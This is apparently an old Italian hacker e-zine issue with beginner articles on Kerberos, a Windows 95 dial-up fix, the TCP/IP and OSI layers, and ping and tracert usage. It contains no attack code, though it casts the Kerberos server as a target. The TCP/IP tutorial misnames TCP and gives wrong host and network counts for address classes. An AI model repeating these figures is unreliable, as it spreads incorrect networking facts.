ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ KERBEROS...IL CAGNACCIO ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ [email protected] Premessa ... Questo articolo non fa parte della mia esp. personale perche' e' stato tratto da + libri/riviste et/quindi non stressatemi nella mia povera mail .... eccheccaxx ne ho gia' abbastanza di msg a cui rispondere ... Intro al Cane ... Il sistema di autentificazione Kerberos e' stato sviluppato nel quadro del progetto Athena del MIT(Massachussets Institute of Technology) . Da allora Kerberos e' stato adottato da molte organizzazioni . Inoltre , molti sviluppatori di applicazioni includono nei propri prodotti il supporto per questo meccanismo di autenticazione . Entriamo nel vivo dell'articolo ... Kerberos e' 1 sistema di autenticazione , e' cioe' 1 sistema che certifica l'identita' di un "principal" (cosi' viene indicato 1 utente oppure 1 servizio). In entrambi i casi il principal viene definito mediante le seguenti tre componenti : - nome primario (primary name) ; - istanza (istance) ; - dominio (realm) ; Nella terminologia utilizzata da Kerberos , queste tre componenti identificano 1a tupla di valori , come nell'esempio che vi sto per fare : <primary_name, istance, realm> Nel caso di un utente la primary_name e' la login di collegamento al sistema . Istance e' nulla o contiene particolari info riguardanti l'utente stesso . Nel caso di 1 servizio , primaryname e' il nome del servizio e si utilizza il nome del sistema come istance ad es. rlogin.mymachine . In ogni caso il valore realm viene utilizzato per distinguere differenti domini di autenticazione . Usando il parametro realm e' possibile avere un server Kerberos diverso per ciascuna sottosezione di un'organizzazione invece di un unico server centralizzato . Questa seconda situazione presenterebbe l'obiettivo principale per noi dal momento che tale server dovrebbe essere dichiarato affidabile all'interno dell'intera organizzazione . Se cosi' e' impstato ...vai di fantasia !!! I princypal di Kerberos ottengono dei tagliandi (ticket) da 1 server speciale detto ticket-granting server . Ciascun ticket e' formato da 1a serie di informazioni che identificano il princypal codificato nella chiave privata per quel determinato servizio . Dal momento che soltanto Kerberos e il servizio conoscono questa chiave , essa e' considerata autentica . Il ticket distribuito dal ticket-granting server contiene 1a nuova chiave privata di sessione conosciuta anche dal client . Questa chiave viene spesso utilizzata per cifrare le transazioni che si verificano durante una sessione . Il maggior vantaggio fornito dall'approcio adottato in Kerberos e' rappresentato dal fatto che ciascun ticket ha 1a durata specifica . Al termine di questa e' necessario richiedere 1 nuovo ticket al ticket-granting server . Nel prossimo numero "Svantaggi del Kerberos" (quello che ci interessa ...) . Al proxximo numero by ULNTWH99 . aÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ GESTIRE + SCHEDE DI RETE CON WINDOWS 95 ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Windows 95 non riesce sempre a gestire correttamente l'indirizzamento dei pacchetti IP sulla connessione SLIP o PPP (in pratica, l'Acesso Remoto) se, al momento della sua attivazione, sulla macchina e' attivo piu' di un protocollo TCP/IP. In altre parole, se, ad esempio, sul pc sono installate due o piu' schede di rete e su ciascuna e' attivo un protocollo TCP/IP col suo bravo indirizzo, o vi e' una scheda sola alla quale e' associato piu' di un indirizzo IP, non e' piu' possibile collegarsi ad Internet. O meglio, ci si collega, ma non e' possibile raggiungere alcun sito ne' utilizzare alcun servizio. A occhio e croce si direbbe che in questi casi Windows 95 non utilizzi l'indirizzo del Provider Internet (tanto per farla breve) quale default gateway o non riesca ad utilizzarne il Domain Name Server. Di conseguenza, i pacchetti destinati a Internet si perdono invece sulle LAN locali oppure non vengono addirittura inviati. I collegamenti LAN rimangono invece regolarmente funzionanti. L'inconveniente ha un rimedio, consistente nel disabilitare temporaneamente le schede LAN in modo che resti attivo al massimo un protocollo TCP/IP oltre a quello dell'Accesso Remoto, connettersi ad Internet, e riabilitare le schede a connessione attiva. Per disabilitare una scheda LAN e' sufficiente cliccare col pulsante destro sull'icona "Risorse del computer" (o "My Computer", per chi ha la versione inglese) e selezionare "Proprieta'" dal pop-up menu che appare. Compare un elenco di periferiche. Cliccando col pulsante sinistro sul "+" a sinistra del simbolo delle schede di rete viene visualizzato l'elenco delle schede di rete installate sulla macchina, la prima delle quali e' la "scheda" (sarebbe meglio parlare di driver) per l'Accesso Remoto. Selezionando una delle schede e cliccando sul button "Proprieta'" si apre una finestra in fondo alla quale e' presente un elenco di configurazioni (di solito una sola, quella "corrente"), ciascuna corredata di un checkbox. E' sufficiente cliccare sui checkbox in modo che siano tutti vuoti (e percio' disattive le configurazioni corrispondenti) e cliccare poi su "OK". A questo punto si puo' attivare la connessione ad Internet come di consueto e, a collegamento avvenuto, se lo si desidera e' possibile riabilitare la scheda (o le schede) precedentemente disabilitate. Per riabilitare una scheda si segue la stessa procedura, ma questa volta bisogna far ricomparire il checkmark dentro il "quadratino". Se dopo avere disabilitato le schede il collegamento PPP continua a non funzionare, allora e' necessario (ma guarda un po') effettuare un bootstrap: la macchina ripartira' con le schede gia' disabilitate, e queste potranno essere riabilitate una volta stabilita la connessione dialup. Barninga Z ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ TCP/IP (QUELLO CHE ANCORA NON • STATO DETTO) ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ NO (C)1998 DarkSide Siamo cosi' giunti al secondo numba, questa volta l'argomento di cui trattero' e' molto pi— complesso del precedente quindi, prima di cominciare, leggere bene il foglietto illustrativo. Indicazioni terapeutiche ----------------------------------------------------------------------------Indicato per chi di TCP/IP & company non sa NIENTE. Avvertenze ----------------------------------------------------------------------------Tenere fuori dalla portata dei bambini. Sovradosaggio ----------------------------------------------------------------------------L'iperdosaggio potrebbe provocare uno stato di confusione mentale. Effetti collaterali ----------------------------------------------------------------------------RARAMENTE a decorrenza fatale :). Composizione ----------------------------------------------------------------------------Ok, si comincia... La sigla TCP/IP fa riferimento a un set di protocolli utilizzati dai computer per trasmettere le informazioni, e' di semplice intuizione che essi sono alla base di Internet. I 4 protocolli TCP/IP pi— utilizzati sono: 1) IP Internet Protocol: che si occupa di trasferire i dati fra i computer host della rete. 2) TCP Transfer Control Protocol: sposta tra le applicazioni i dati costituiti da pi— pacchetti. 3) UDP User Datagram Protocol: Svolge lo stesso compito del TCP tuttavia e' meno affidabile in quanto trasferisce un unico pacchetto di dati. 4) ICMP Internet Control Message Protocol: Comunica messaggi di errore e altre condizioni che richiedano attenzione. Il TCP/IP e' stato realizzato sulla base di un modello concettuale chiamato ISO/OSI ovvero: International Standards Organization / Open Systems Interconnection (1977 - 1984). Tale modello descrive il flusso dei dati tra il collegamento fisico alla rete e l'applicazione dell'utente finale, ed e' suddiviso in 7 livelli ognuno dei quali fornisce determinati servizi a quelli sovrastanti. Si deve considerare che ogni livello, non sa cosa fanno gli altri e inoltre, comunica solo con quello immediatamente sovrastante e/o sottostante. Il modello OSI puo' essere schematizzato come segue: 7 6 5 4 3 2 1 LIVELLO TIPO DI DATI ________________________________________________________ | | | | Livello swll'applicazione | Messaggi | |_________________________________|______________________| | | | | Livello di presentazione | Messaggi | |_________________________________|______________________| | | | | Livello della sessione | Messaggi | |_________________________________|______________________| | | | | Livello del trasporto | Messaggi | |_________________________________|______________________| | | | | Livello della rete | Pacchetti | |_________________________________|______________________| | | | | Livello data-link | Trame | |_________________________________|______________________| | | | | Livello fisico | Bit | |_________________________________|______________________| <-- Comando + eventuali dati <-- blocco elementare di dati <-- sequenze di bit <-- Unit… minima di informazione poiche' ad ogni livello e' associato almeno un protocollo che ne definisce la funzione, possiamo dire in senso figurato che i protocolli sono disposti uno sull'altro, ed e' per questo che si parla di stack (o pila) di protocolli. L'implementazione TCP/IP del modello ISO/OSI utilizza solo 5 dei 7 livelli sopra citati come illustra il seguente schema: ( OGNI COLLEGAMENTO DEVE ESSERE CONSIDERATO BIDIREZIONALE ) ___________________________________________________________________________ | | | | Livello della| Programma Programma Programma Programma | | applicazione | | | | | | |_______________|________|_____________|_____________|_____________|________| | | | | | | | | Livello del | | TCP | UDP | | trasporto | | \ | / | |_______________|________|________________\__________|__________/___________| | | | \ _______|_______ / | | Livello | ICMP------------------|______IP_______|--------IGMP | | della rete | | | |_______________|____________________________________|______________________| | | | | | Livello | ARP---------Interfaccia----------RARP | | data-link | hardware | |_______________|____________________________________|______________________| | | | | | Livello | | | | fisico | LINNEE DI TRASMISSIONE | |_______________|___________________________________________________________| nello schema sono citati solo alcuni tra i protocolli pi— conosciuti mentre, nella realt…, le relazioni tra i livelli del modello OSI e lo stack dei protocolli TCP/IP sono molto pi— numerose, tenete presente che sto riassumendo... :). Per comprendere meglio vediamo ora lo scopo di ciascun livello all'interno del protocollo TCP/IP, ma prima PAUSA MARLBORO ... ( se non ci fossero bisognerebbe inventarle ). Ok, proseguiamo... 1) Il livello fisico, trasmette i bit di dati attraverso il mezzo fisico (doppino, cavo di rete ecc...). 2) Il livello data-link, gestisce i trame, e' dotato di un'interfaccia hardware che normalmente corrisponde alla scheda di rete installata sul computer. Include diversi moduli di protocollo tra cui: ARP (Address Resolution Protocol) RARP (Reverse Address Resolution Protocol) SLIP (Serial Line Internet Protocol) PPP (Point-to-Point Protocol) e altri... 3) Il livello della rete, all'estremit… del mittente converte i pacchetti in trame di dati pi— piccoli. All'estremit… del ricevente, unisce nuovamente le trame ricostruendo i vari pacchetti. Poiche' contiene il modulo IP tale livello rappresenta il nucleo centrale di qualsiasi rete basata sui protocolli TCP/IP. I protocolli ICMP e IGMP citati nello schema gestiscono alcuni messaggi particolari quali quelli di errore e quelli di multicast (messaggi inviati a pi— sistemi). 4) Il livello del trasporto, all'estremit… del mittente, divide i messaggi in vari pacchetti. All'estremit… del ricevente ricompone i messaggi originali e invia un riscontro dell' avvenuta ricezione. Controlla inoltre che i dati vengano ricevuti nell'ordine esatto entro il tempo stabilito, in caso di errore chiede che i dati vengano ritrasmessi. 5) Il livello delle applicazioni, invia e riceve i dati inviati dal livello di trasporto. Arrivati a questo punto dovreste essere in grado di capire come avviene il passaggio dei dati da un livello all'altro, per chiarire ogni possibile dubbio passiamo ad un esempio. Supponiamo di dover spedire un file qualsiasi... 1) Il programma preposto invia il file verso il basso nello stack dei protocolli fino a raggiungere il livello di trasporto. 2) Il livello di trasporto allega al file la propria intestazione e lo invia al livello di rete. 3) Il livello della rete suddivide il file in pacchetti, ai quali aggiunge ulteriori informazioni di intestazione e invia i pacchetti al livello data-link. 4) Il livello data link esegue un ulteriore suddivisione e invia i trame al livello fisico. 5) Il livello fisico trasmette i trame lungo la rete sotto forma di impulsi elettrici. 6) Gli impulsi passano attraverso vari dispositivi di rete che si trovano tra il computer trasmittente e quello ricevente. Ogni computer controlla di non essere la destinazione e in tal caso fa procedere verso la meta ( La verifica e' a carico del livello di rete ). 7) Nel computer ricevente, attraverso il processo inverso il file viene ricreato, ( tale processo e' volontariamente omesso perche' e' di semplice deduzione ). La verifica della destinazione e l'indirizzamento dei pacchetti sono possibili grazie a una combinazione di 32 bit ( 4 byte ) che identifica univocamente un qualsiasi computer connesso ad Internet, come molti di voi avranno gi… capito, mi riferisco all'IP Address. I bit di un indirizzo IP vengono interpretati nel seguente modo: <Indirizzo di Rete, Indirizzo dell'Host> Il primo identifica la rete a cui siete collegati, mentre il secondo identifica il vostro PC. A seconda del numero di computer da cui e' costituita una rete possiamo distinguere diverse classi di indirizzi ovvero: Classe Classe Classe Classe Classe A: B: C: D: E: byte byte byte byte byte pi— pi— pi— pi— pi— significativo significativo significativo significativo significativo da da da da da 1 128 192 224 240 a a a a a 126 191 223 239 254 0, 127 riservati 255 riservato per byte pi— significativo si intende quello pi— a sinistra. La classe specifica il numero di byte che l'indirizzo utilizza per identificare la rete. Nel dettaglio possiamo dire che: comunemente vengono usate solo le prime 3... La classe A: Puo' avere 16.777.214 host per rete e un totale di 126 reti. 1 byte disponibile per ID di rete, i rimanenti 3 identificano l'host. Il byte pi— significativo inizia sempre con il bit 0. La classe B: 64.516 host per rete e untotale di 16.256 reti. 2 byte disponibili per ID di rete, i rimanenti 2 identificano l'host. Il byte pi— significativo inizia sempre con i bit 10. La classe C: 254 host per rete e 2.064.512 reti. 3 byte disponibili per ID di rete, il rimanente byte identifica l'host. Il byte pi— significativo inizia sempre con i bit 110. La classe D: Utilizzata negli indirizzi multicast. Il byte pi— significativo inizia sempre con i bit 1110. La classe E: • riservata per usi futuri. Il byte pi— significativo inizia sempre con i bit 11110. Uno spot su... I Byte riservati. Un campo contenente il valore 0 viene interpretato come "questo", per esempio l' indirizzo 0.0.0.154 significa numero di host 154 su questa rete di classe C. L'indirizzo di classe A 127 tipicamente 127.0.0.1 per convenzione e' utilizzato come indirizzo di loopback, chi di voi non lo ha mai usato durante i vari esperimenti di hacking off-line ? ;) Se un campo dell'indirizzo contiene il Nø 255, questo rappresenta un indirizzo broadcast (messaggio destinato a tutti i computer della rete) ad esempio, 181.54.255.255 identifica tutti gli host della rete di classe B 181.54. In alcune reti anche 0 e' un indirizzo broadcast. Riprendiamo... dovrebbe a questo punto essere chiaro il quantomeno ostico schema di indirizzamento TCP/IP, oltre che il concetto sul quale si basa qualsiasi domscan. Il compito di aggiungere l'ip sorgente e destinazione spetta al livello della rete che, ad ogni pacchetto aggiunge la seguente intestazione o header che dir si voglia: 0 15 16 31 ---------------------------------------------------------------------| 4-bit | 4-bit | 8-bit TOS | 16-bit total lenght | |version|head.len| Type Of Service| (in bytes) | ---------------------------------------------------------------------| 16-bit | 3-bit| 13-bit | | identification | flags| fragment offset | ---------------------------------------------------------------------| 8-bit TTL | 8-bit | 16-bit | | time to live | protocol | header checksum | ---------------------------------------------------------------------| 32-bit source IP address | ---------------------------------------------------------------------| 32-bit destination IP address | ---------------------------------------------------------------------/ options / ---------------------------------------------------------------------\ data \ ---------------------------------------------------------------------- / | | | | | | | 20 bytes | | | | \ tuttavia per stabilire una connessione affidabile non e' sufficente il solo IP in quanto, similmente all'UDP, fornisce un servizio di tipo inaffidabile, ConnectionLess, le informazioni sono trasmesse come unit… indipendenti, in altre parole non e' detto che la sequenza di invio dei dati sia la stessa con la quale essi giungono a destinazione quindi, se il computer ricevente richiede l'invio di dati sequenziali capite bene che sono problemi non indifferenti, inoltre non e' detto che i dati giungano a destinazione. Delegato a rendere affidabile una connessione e' l'header TCP, che viene aggiunto dal livello di trasporto... 0 15 16 31 / ---------------------------------------------------------------------| | 16-bit source port number | 16-bit destination port number | | ---------------------------------------------------------------------| | 32-bit sequence number | | ---------------------------------------------------------------------| | 32-bit acknowledgment number | 20 ---------------------------------------------------------------------- bytes | 4-bit | reserved |U|A|P|R|S|F| | | | header | |R|C|S|S|Y|I| 16-bit window size | | | lenght | (6-bits) |G|K|H|T|N|N| | | ---------------------------------------------------------------------| | 16-bit checksum | 16-bit urgent pointer | ---------------------------------------------------------------------/ options / ---------------------------------------------------------------------\ data \ ---------------------------------------------------------------------- | \ il TCP fornisce un servizio di tipo Connection-Oriented o affidabile, le informazioni sono trasmesse come una sequenza di byte inoltre, come potete vedere, nell'header TCP troviamo tutto cio' che serve a mantenere il controllo della connessione. Bene, credo che a questo punto il mio compito sia finito, se volete il commento dettagliato degli header e, siete curiosi di sapere come si stabilisce una connessione TCP/IP leggetevi BFI4, precisamente [ PR0GETT0 0N0S3NDAi - PARTE I ] scritto da FuSyS, avrete cosi' una panoramica completa. Se e' la prima volta che affrontate il TCP/IP vi consiglio di non prendere subito in considerazione le varie tecniche di spoofing (e' solo un consiglio). Alla prossima... [ DarkSide ] ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ NETWORK UTILITIES FOR DUMMIES ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Cenni sul TCP/IP Questa sigla che molti dei lettori conosceranno indica il protocollo che e' alla base del funzionamento di Internet e di moltissime reti locali; in realta' non si tratta di un solo protocollo, ma di due, che consentono in sostanza a un computer di essere rintracciabile nell'ambito della rete e di scambiare flussi (stream) di dati con altri computer. In realta' i protocolli TCP e IP sono solo una parte di un complesso di protocolli che vanno dal livello piu' basso, in cui si specificano i parametri elettrici e in generale fisici dei mezzi di trasmissione, a quello piu' alto che definisce il modo in cui le funzionalita' di rete sono presentate dall'applicazione all'utente. Questo complesso si chiama OSI (Open Systems Interconnection), e in pratica ognuno dei protocolli che lo costituisce si appoggia al precedente, formando una pila, o stack, ed ecco perche', parlando dell'implementazione delle funzionalita' di rete nei nostri computer, si parla di "stack TCP/IP". Il protocollo, dei due, di livello piu' basso, e' l'IP, o Internet Protocol. Esso si colloca al terzo livello nella gerarchia OSI, detto livello di rete, e come gli altri protocolli incapsula i dati che trasporta con delle informazioni supplementari che consentono la comunicazione fra computer. Di tali informazioni, quella che interessa in questa sede e' il cosiddetto Indirizzo IP, che e' quel famoso numero diviso in quattro parti che sara' capitato di vedere, per esempio, nella barra di stato del nostro browser. L'indirizzo IP e' un numero di 32 bit che viene assegnato al computer in maniera tale che questo sia l'unico nella rete con quell'indirizzo e identifichi il computer stesso. Al di sopra del protocollo IP ci sono due protocolli, che sono il TCP e l'UDP. Il primo, detto Circuito Virtuale, e' il piu' famoso, ed e' usato per molti dei servizi di rete piu' usati, come l'HTTP (pagine web), l'NNTP (news) e il POP3 (posta); esso fa si' che i due computer che dialogano vedano un flusso ordinato di dati, come se la comunicazione avvenisse direttamente, tranne ovviamente i ritardi dovuti alla trasmissione. E' il protocollo che si occupa della gestione degli errori, delle ritrasmissioni, dei pacchetti persi o duplicati, e il programma destinatario riceve i dati nello stesso ordine in cui il mittente li ha mandati. Il protocollo UDP detto anche Datagram e' invece privo di queste funzionalita', e' piu' semplice ma anche piu' insicuro; in particolare non garantisce l'ordine di arrivo dei pacchetti e nemmeno che arrivino. I programmi di rete a riga di comando Tutti i sistemi operativi con funzionalita' di rete, fra cui le varie versioni di Windows e di Unix, mettono a disposizione dei programmi per testare lo stato di particolari aspetti della rete, o di singole macchine ad essa collegate. Questi programmi sono a riga di comando, il che significa che per utilizzarli bisogna aprire una shell e digitare il nome del programma seguito da eventuali parametri. In Windows 9x o NT "aprire una shell" significa cliccare su Avvio (o Start), e scegliere Programmi -> Prompt di MS-DOS; in alternativa, Avvio (o Start) -> Esegui... e scrivere "command.com" seguito dal tasto Enter. In Unix, se si e' in ambiente grafico X-Window, bisogna aprire una console, mentre se siamo in ambiente a riga di comando possiamo lanciare i programmi direttamente (al limite passando a un'altro terminale virtuale con ALT+<Tasto_Funzione>). I suddetti programmi di rete sono principalmente tre: ping, traceroute e netstat. Nel seguito vedremo brevemente ognuno di questi tre. Ping: Ci sei o no? Il comando ping serve principalmente a vedere se una certa macchina di rete e' attiva oppure no, ed ha la seguente forma: C:\WINDOWS>ping /? Sintassi: ping [-t] [-a] [-n numero] [-l lunghezza] [-f] [-i TTL] [-v TOS] [-r numero] [-s numero] [[-j elenco-host] | [-k elenco-host]] [-w timeout] elenco-destinazioni Opzioni: -t Esegue Ping sull'host specificato finche' non viene interrotto. Per vedere le statistiche e continuare, premere Control-Inter; per interrompere, premere Control-C. -a Risolve gli indirizzi in nomi host. -n numero Invia numero di richieste di eco. -l lunghezza Invia dimensione buffer. -f Imposta il flag Non frammentare nel pacchetto. -i TTL Vita pacchetto. -v TOS Tipo di servizio. -r count Registra route per il conteggio dei punti di passaggio. -s count Marca orario per il conteggio dei punti di passaggio. -j elenco-host Instradamento libero lungo l'elenco host. -k elenco-host Instradamento ristretto lungo l'elenco host. -w timeout Timeout in millisecondi per ogni risposta. C:\WINDOWS> Come si puo' vedere, i parametri accessori sono diversi; i piu' importanti sono il primo e l'ultimo, che specificano rispettivamente di continuare indefinitamente e di aspettare la risposta al massimo fino al tempo specificato. E' importante anche il -r, che permette di misurare quanti passaggi intermedi bisogna attraversare per raggiungere il computer specificato. Vediamo un esempio che funziona sicuramente, qualunque sia il computer da cui trasmettiamo: C:\WINDOWS>ping 127.0.0.1 Esecuzione di Ping 127.0.0.1 con 32 byte di dati: Risposta Risposta Risposta Risposta da da da da 127.0.0.1: 127.0.0.1: 127.0.0.1: 127.0.0.1: byte=32 byte=32 byte=32 byte=32 Statistiche Ping per 127.0.0.1: durata<10ms durata<10ms durata<10ms durata<10ms TTL=64 TTL=64 TTL=64 TTL=64 Pacchetti: Trasmessi = 4, Ricevuti = 4, Persi = 0 (0% persi), Tempo approssimativo percorsi andata/ritorno in millisecondi: Minimo = 0ms, Massimo = 0ms, Medio = 0ms C:\WINDOWS> Come forse saprete, 127.0.0.1 e' un indirizzo IP speciale, che indica sempre la macchina locale, infatti un'alias predefinito per questo indirizzo e' localhost: C:\WINDOWS>ping localhost Esecuzione di Ping bejor [127.0.0.1] con 32 byte di dati: Risposta Risposta Risposta Risposta da da da da 127.0.0.1: 127.0.0.1: 127.0.0.1: 127.0.0.1: byte=32 byte=32 byte=32 byte=32 durata=1ms TTL=64 durata<10ms TTL=64 durata<10ms TTL=64 durata<10ms TTL=64 Statistiche Ping per 127.0.0.1: Pacchetti: Trasmessi = 4, Ricevuti = 4, Persi = 0 (0% persi), Tempo approssimativo percorsi andata/ritorno in millisecondi: Minimo = 0ms, Massimo = 1ms, Medio = 0ms C:\WINDOWS> Come si puo' vedere, se si utilizza un nome alfanumerico invece di un indirizzo IP, ping risponde evidenziando il vero nome della macchina pingata (nell'esempio, bejor e' il nome che ho dato al mio computer) e fra parentesi quadre l'indirizzo IP. Ping invia alla macchina destinazione 4 pacchetti da 32 byte ciascuno, e per ciascuno di essi riporta delle statistiche: in particolare, il numero di byte spediti, il tempo impiegato e il Tempo di Vita dei pacchetti stessi. Infine, vengono mostrate le statistiche cumulative della sessione, cioe' la percentuale delle trasmissioni andate a buon fine e i tempi di andata/ritorno impiegati. Nel caso si pinghi la macchina locale tali valori sono poco significativi, per cui e' interessante vedere cosa dice il ping nel caso lo si testi su una macchina remota: C:\WINDOWS>ping volftp.tin.it Esecuzione di Ping cam.ca.tin.it [195.31.191.10] con 32 byte di dati: Richiesta scaduta. Risposta da 195.31.191.10: byte=32 durata=940ms TTL=246 Risposta da 195.31.191.10: byte=32 durata=626ms TTL=246 Risposta da 195.31.191.10: byte=32 durata=471ms TTL=246 Statistiche Ping per 195.31.191.10: Pacchetti: Trasmessi = 4, Ricevuti = 3, Persi = 1 (25% persi), Tempo approssimativo percorsi andata/ritorno in millisecondi: Minimo = 471ms, Massimo = 940ms, Medio = 509ms C:\WINDOWS> Quella sera il server di VolFTP doveva essere abbastanza carico, dato che, dei 4 pacchetti "sonda", uno e' andato perso, cioe' la relativa risposta non e' mai arrivata, mentre le altre tre risposte sono arrivate dopo un tempo relativamente lungo... la prima addirittura dopo "ben" quasi un secondo. Come la statistica riepilogativa riporta, il tempo medio di risposta dal computer pingato, in quel momento, era di circa mezzo secondo. Vediamo invece cosa succede nel caso in cui la macchina pingata non risponda: C:\WINDOWS>ping cardassia Esecuzione di Ping cardassia [212.42.11.154] con 32 byte di dati: Host Host Host Host di di di di destinazione destinazione destinazione destinazione irraggiungibile. irraggiungibile. irraggiungibile. irraggiungibile. Statistiche Ping per 212.42.11.154: Pacchetti: Trasmessi = 4, Ricevuti = 0, Persi = 4 (100% persi), Tempo approssimativo percorsi andata/ritorno in millisecondi: Minimo = 0ms, Massimo = 0ms, Medio = 0ms C:\WINDOWS> Per questo esempio, ho modificato il mio file C:\Windows\hosts associando al nome cardassia l'indirizzo IP 212.42.11.154, totalmente inventato. Non essendoci una macchina con quel nome e quell'indirizzo collegata al mio computer, ping ha risposto col messaggio "Host di destinazione irraggiungibile." e riportando la perdita di tutti e 4 i pacchetti inviati (che si sono persi nell'iperspazio, dato che il mio computer non ha per ora schede di rete attaccate e in quel momento non ero connesso a Internet). Nel caso in cui si ottenga una risposta del genere, pero', non e' detto che la macchina destinazione sia spenta e/o scollegata dalla rete. Dal momento che il ping puo' essere usato per sferrare degli attacchi contro un computer in rete, una macchina puo' essere programmata per ignorare i ping ad essa diretti, e in tal caso l'output di ping sarebbe del tipo di quello mostrato sopra anche se la macchina remota e' funzionante e collegata alla rete. Ricordo infine che quello descritto e' il ping come funziona sul mio sistema Windows 95a con Winsock 2.2 e Accesso Remoto 1.3; con altre versioni e/o altri sistemi operativi il funzionamento o le opzioni possono differire (per esempio, sotto Unix l'invio dei pacchetti continua finche' non si termina il programma). Il DNS: dimmi come ti chiami e ti diro' che numero hai Si e' parlato sopra di alias e nomi alfanumerici, oltre che di indirizzi IP. E' utile a questo punto chiarire alcune cose a questo proposito. Anzitutto, i programmi che usiamo per la posta, il web, l'ftp e qualunque altro servizio di rete, e le implementazioni dei protocolli nei vari sistemi operativi, usano e capiscono esclusivamente gli indirizzi IP numerici di 4 byte. I nomi alfanumerici, o Alias, del tipo volftp.tin.it, invece, sono stati introdotti per facilitare l'uso dei suddetti programmi (si pensi alla scomodita' di dover ricordare o trascrivere un indirizzo di diverse cifre, rispetto alla facilita' di ricordare un nome di computer come quello arcinoto appena menzionato). E' stato quindi necessario introdurre un servizio di rete che permettesse, dato un nome alfanumerico di computer, di risalire all'indirizzo IP; tale servizio si chiama DNS (Domain Name Service), ed e' svolto da macchine che contengono dei database in cui a un nome alfanumerico viene associato un indirizzo IP. Nei sistemi Unix e Windows esiste un file "hosts" nella directory di sistema, che contiene delle righe del tipo: 127.0.0.1 212.42.11.154 212.42.11.154 [eccetera...] localhost cardassia.pippo.net miocomputer.pippo.it Come si vede, e' possibile associare lo stesso indirizzo IP a diversi nomi alfanumerici. Le macchine che forniscono il servizio DNS cooperano fra loro, dato che non e' possibile mettere tutto il database dei nomi in un solo computer, sia per la dimensione che per la variabilita'; nel caso di una rete aziendale la cosa sarebbe fattibile, ma Internet copre tutto il pianeta... In ogni caso, e' grazie a questo servizio che e' possibile evitare di scrivere il numero IP nella riga di indirizzo del browser, cosa che diventa invece indispensabile se il DNS del nostro provider e' temporaneamente fuori uso (succede...). In casi del genere, infatti, la rete e' perfettamente funzionante, ma qualunque nome da noi inserito risulterebbe inesistente per il client che usiamo, dato che non c'e' il server DNS che lo traduce. Traceroute: Come si arriva a un computer remoto Traceroute ("Traccia la Rotta") e' un programma che serve a determinare quale percorso segue un collegamento dal nostro computer a una qualunque altra macchina della rete. Vediamo i suoi parametri: C:\WINDOWS>tracert -? Sintassi: tracert [-d] [-h max_salti] [-j elenco-host] [-w timeout] nome_destinazione Opzioni: -d -h max_salti Non risolve gli indirizzi in nome host. Numero massimo di punti di passaggio per ricercare la destinazione. Instradamento libero lungo l'elenco host. Timeout in millisecondi per ogni risposta. -j elenco-host -w timeout C:\WINDOWS> Il nome del computer destinazione e' l'unico parametro obbligatorio. 